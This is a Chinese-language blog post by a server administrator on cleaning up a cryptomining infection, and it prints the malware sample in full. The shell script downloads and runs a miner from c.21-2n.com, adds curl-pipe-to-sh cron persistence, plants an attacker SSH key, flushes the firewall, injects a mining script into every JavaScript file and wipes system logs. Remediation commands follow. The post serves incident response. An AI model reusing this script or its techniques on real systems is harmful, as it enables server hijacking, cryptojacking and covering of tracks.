Rebybyx
碧云轩下,时光悠悠……

一、登录

攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。

二、被攻击后的表象

1、服务器资源被大量占用,资源占用率飙升;

2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)

3、网站无法加载,会出现浏览器卡死的情况

三、排查

1、访问服务器上运行的网站,从浏览器控制台中发现不停访问一个wss的地址(wss://xmr.omine.org:8181/),并且很慢。

2、通过百度搜索这个地址,可知此为XMR恶意挖矿脚本。

3、远程登录服务器,输入top命令,发现有zigw进程在运行,消耗大量资源,kill掉以后还会出现。

4、查看系统任务计划,发现定期同步恶意脚本的计划内容

1 # crontab -l

5、获取其样本文件,然后删除其任务计划

1 # wget http://c.21-2n.com:43768/shz.sh
2 # crontab -r

6、查看该样本文件,是一个shell脚本,内容如下:

  1 #!/bin/sh
  2 
  3 setenforce 0 2>dev/null
  4 
  5 echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null
  6 
  7 sync && echo 3 >/proc/sys/vm/drop_caches
  8 
  9 crondir='/var/spool/cron/'"$USER"
 10 
 11 cont=`cat ${crondir}`
 12 
 13 ssht=`cat /root/.ssh/authorized_keys`
 14 
 15 echo 1 > /etc/gmbpr2
 16 
 17 rtdir="/etc/gmbpr2"
 18 
 19 oddir="/etc/gmbpr"
 20 
 21 bbdir="/usr/bin/curl"
 22 
 23 bbdira="/usr/bin/url"
 24 
 25 ccdir="/usr/bin/wget"
 26 
 27 ccdira="/usr/bin/get"
 28 
 29 mv /usr/bin/wget /usr/bin/get
 30 
 31 mv /usr/bin/curl /usr/bin/url
 32 
 33 if [ -f "$oddir" ]
 34 
 35     then
 36 
 37         pkill zjgw
 38 
 39         chattr -i /etc/shz.sh
 40 
 41         rm -f /etc/shz.sh
 42 
 43         chattr -i /tmp/shz.sh
 44 
 45         rm -f /tmp/shz.sh
 46 
 47         chattr -i  /etc/gmbpr
 48 
 49         rm -f /etc/gmbpr
 50 
 51     else
 52 
 53         echo "ok"
 54 
 55 fi
 56 
 57 if [ -f "$rtdir" ]
 58 
 59     then
 60 
 61         echo "goto 1" >> /etc/gmbpr2
 62 
 63         chattr -i $cont
 64 
 65         if [ -f "$bbdir" ]
 66 
 67             then
 68 
 69                 [[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
 70 
 71             else
 72 
 73                 [[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
 74 
 75         fi
 76 
 77         mkdir /root/.ssh
 78 
 79         [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 700 /root/.ssh/
 80 
 81         [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
 82 
 83         [[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod 600 /root/.ssh/authorized_keys
 84 
 85         [[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
 86 
 87         ps -fe|grep zigw |grep -v grep
 88 
 89         if [ $? -ne 0 ]
 90 
 91             then
 92 
 93                 cd /etc
 94 
 95                 filesize=`ls -l zigw | awk '{ print $5 }'`
 96 
 97                 file="/etc/zigw"
 98 
 99                 if [ -f "$file" ]
100 
101                     then
102 
103                         if [ "$filesize" -ne "1467080" ]
104 
105                             then
106 
107                                 chattr -i /etc/zigw
108 
109                                 rm -f zigw
110 
111                                 if [ -f "$bbdir" ]
112 
113                                 then
114 
115                                     curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
116 
117                                 elif [ -f "$bbdira" ]
118 
119                                 then
120 
121                                     url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
122 
123                                 elif [ -f "$ccdir" ]
124 
125                                 then
126 
127                                     wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
128 
129                                 elif [ -f "$ccdira" ]
130 
131                                 then
132 
133                                     get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
134 
135                                 fi
136 
137                         fi
138 
139                     else
140 
141                         if [ -f "$bbdir" ]
142 
143                         then
144 
145                             curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
146 
147                         elif [ -f "$bbdira" ]
148 
149                         then
150 
151                             url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /etc/zigw
152 
153                         elif [ -f "$ccdir" ]
154 
155                         then
156 
157                             wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
158 
159                         elif [ -f "$ccdira" ]
160 
161                         then
162 
163                             get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/zigw
164 
165                         fi
166 
167                 fi
168 
169                 chmod 777 zigw
170 
171                 sleep 1s
172 
173                 ./zigw
174 
175             else
176 
177                 echo "runing....."
178 
179         fi
180 
181         chmod 777 /etc/zigw
182 
183         chattr +i /etc/zigw
184 
185         chmod 777 /etc/shz.sh
186 
187         chattr +i /etc/shz.sh
188 
189         shdir='/etc/shz.sh'
190 
191         if [ -f "$shdir" ]
192 
193             then
194 
195                 echo "exists shell"
196 
197             else
198 
199                 if [ -f "$bbdir" ]
200 
201                 then
202 
203                     curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
204 
205                 elif [ -f "$bbdira" ]
206 
207                 then
208 
209                     url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
210 
211                 elif [ -f "$ccdir" ]
212 
213                 then
214 
215                     wget --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh
216 
217                 elif [ -f "$ccdira" ]
218 
219                 then
220 
221                     get --timeout=10 --tries=10 -P /etc http://c.21-2n.com:43768/shz.sh
222 
223                 fi
224 
225                 sh /etc/shz.sh
226 
227         fi
228 
229     else
230 
231         echo "goto 1" > /tmp/gmbpr2
232 
233         chattr -i $cont
234 
235         if [ -f "$bbdir" ]
236 
237             then
238 
239                 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
240 
241             else
242 
243                 [[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
244 
245         fi
246 
247         ps -fe|grep zigw |grep -v grep
248 
249         if [ $? -ne 0 ]
250 
251             then
252 
253                 cd /tmp
254 
255                 filesize=`ls -l zigw | awk '{ print $5 }'`
256 
257                 file="/tmp/zigw"
258 
259                 if [ -f "$file" ]
260 
261                     then
262 
263                         if [ "$filesize" -ne "1467080" ]
264 
265                             then
266 
267                                 chattr -i /tmp/zigw
268 
269                                 rm -f zigw
270 
271                                 if [ -f "$bbdir" ]
272 
273                                 then
274 
275                                     curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
276 
277                                 elif [ -f "$bbdira" ]
278 
279                                 then
280 
281                                     url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
282 
283                                 elif [ -f "$ccdir" ]
284 
285                                 then
286 
287                                     wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
288 
289                                 elif [ -f "$ccdira" ]
290 
291                                 then
292 
293                                     get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
294 
295                                 fi
296 
297                         fi
298 
299                     else
300 
301                         if [ -f "$bbdir" ]
302 
303                         then
304 
305                             curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
306 
307                         elif [ -f "$bbdira" ]
308 
309                         then
310 
311                             url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/zigw > /tmp/zigw
312 
313                         elif [ -f "$ccdir" ]
314 
315                         then
316 
317                             wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
318 
319                         elif [ -f "$ccdira" ]
320 
321                         then
322 
323                             get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/zigw
324 
325                         fi
326 
327                 fi
328 
329                 chmod 777 zigw
330 
331                 sleep 1s
332 
333                 ./zigw
334 
335             else
336 
337                 echo "runing....."
338 
339         fi
340 
341         chmod 777 /tmp/zigw
342 
343         chattr +i /tmp/zigw
344 
345         chmod 777 /tmp/shz.sh
346 
347         chattr +i /tmp/shz.sh
348 
349         shdir='/tmp/shz.sh'
350 
351         if [ -f "$shdir" ]
352 
353             then
354 
355                 echo "exists shell"
356 
357             else
358 
359                 if [ -f "$bbdir" ]
360 
361                 then
362 
363                     curl --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
364 
365                 elif [ -f "$bbdira" ]
366 
367                 then
368 
369                     url --connect-timeout 10 --retry 10 http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
370 
371                 elif [ -f "$ccdir" ]
372 
373                 then
374 
375                     wget --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh
376 
377                 elif [ -f "$ccdira" ]
378 
379                 then
380 
381                     get --timeout=10 --tries=10 -P /tmp http://c.21-2n.com:43768/shz.sh
382 
383                 fi 
384 
385                 sh /tmp/shz.sh
386 
387         fi
388 
389 fi
390 
391 iptables -F
392 
393 iptables -X
394 
395 iptables -A OUTPUT -p tcp --dport 3333 -j DROP
396 
397 iptables -A OUTPUT -p tcp --dport 5555 -j DROP
398 
399 iptables -A OUTPUT -p tcp --dport 7777 -j DROP
400 
401 iptables -A OUTPUT -p tcp --dport 9999 -j DROP
402 
403 iptables -A OUTPUT -p tcp --dport 14444 -j DROP
404 
405 iptables-save
406 
407 service iptables reload
408 
409 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
410 
411 netstat -ano|grep :3333|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
412 
413 netstat -ano|grep :4444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
414 
415 netstat -ano|grep :5555|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
416 
417 netstat -ano|grep :6666|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
418 
419 netstat -ano|grep :7777|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
420 
421 netstat -ano|grep :3347|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
422 
423 netstat -ano|grep :14444|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
424 
425 netstat -ano|grep :14443|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -9
426 
427 find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
428 
429 history -c
430 
431 echo > /var/spool/mail/root
432 
433 echo > /var/log/wtmp
434 
435 echo > /var/log/secure
436 
437 echo > /root/.bash_history
438 
439 echo > /var/spool/mail/root

7、阅读脚本内容,发现可能会在/etc或/tmp下创建shz.sh和zigw文件,并设置了特殊权限,此次发现是在/etc中;同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。

1 # rm -rf ~/.ssh
2 #
3 # ps -aux | grep zigw
4 # kill -9 <进程号>
5 # ps -aux | grep shz
6 # kill -9 <进程号>
7 # 
8 # chattr -i /etc/shz.sh /etc/zigw
9 # rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2

8、查看任务计划的配置文件,并删除相应内容

1 # ls -alh /etc/cron.d/
2 # rm -f /etc/cron.d/root

9、恢复服务器中的js文件(其中grep的参数为小写的L)

1 # find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d' 

10、因此恶意脚本中删除了所有防火墙规则,影响到docker容器的网络功能,即容器中无法访问网络,导致其中运行的网站无法访问数据库,经过查阅资料和研究,认为需要重建docker网络,但累了一天,懒得弄了,正好系统更新中包含了docker,更新后恢复正常,得出结论:比较简单的解决方法就是更新或重装(好像重建docker网络也不难)。

比较有疑问的是,看了脚本中是用iptables操作的,但我的服务器中采用的是firewall,没想明白为何会产生影响。

posted on 2018-11-06 10:28  Rebybyx  阅读(4463)  评论(0编辑  收藏  举报